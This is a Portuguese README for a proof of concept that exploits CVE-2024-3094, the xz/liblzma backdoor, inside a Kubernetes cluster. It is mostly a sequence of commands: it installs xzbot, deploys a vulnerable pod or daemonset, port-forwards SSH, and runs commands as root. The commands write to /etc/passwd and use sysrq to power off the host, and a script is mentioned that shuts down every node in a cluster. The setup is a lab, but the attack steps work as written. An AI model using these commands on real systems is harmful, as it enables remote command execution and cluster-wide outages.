
POC básico para testar a vulnerabilidade CVE-2024-3094 dentro de um cluster K8s
POC básico para testar a vulnerabilidade CVE-2024-3094 dentro de um cluster K8s
Vamos implantar um pod vulnerável e explorá-lo para executar comandos dentro desse pod vulnerável. Fazemos isso na mesma rede por questões de segurança. Não expomos o pod vulnerável à internet, mas o conceito é o mesmo.
Essa vulnerabilidade permite executar comandos dentro do pod, mesmo que o pod esteja rodando com contexto de segurança; você pode, por exemplo, desligar o host que está executando o pod.
Se essa vulnerabilidade estiver rodando em um único pod, você pode desligar o host, tornando temporariamente indisponíveis todos os serviços em execução nesse host. Mas, se a vulnerabilidade estiver rodando como um daemonset, você pode desligar todos os hosts que estão executando esse daemonset, até mesmo desligar o cluster inteiro.
Primeiro, instale o xzbots no cluster
go install github.com/amlweems/xzbot@latest
Baixe o repositório e implante o deployment/daemonset vulnerável
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# Ou daemonset
kubectl apply -f daemonset_cve-2024-3094.yml
# Obtenha o nome do pod
kubectl -n vulnes get pods
# Faça o port forward do pod
kubectl -n vulnes port-forward <pod-name> 2225:22
# Execute o comando, por exemplo, escreva em /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'
# Verifique o arquivo /etc/passwd
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd
Vá em frente e desligue o host
# Habilite o sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'
# Desligue o host
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'
Você também pode desligar todos os hosts que estão executando o daemonset
source shutdown_nodes.sh
Quando você executar o loop para desligar todos os hosts, se receber este erro:
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused
Dê mais tempo para o port forward ficar pronto; você pode aumentar o tempo de sleep no loop.
A imagem do contêiner usada foi gerada com o dockerfile no repositório; você pode gerar a imagem e enviá-la para o seu registry.
Para gerar a biblioteca liblzma.so.5.6.0.patch, você pode usar o repositório amlweems que está nas referências.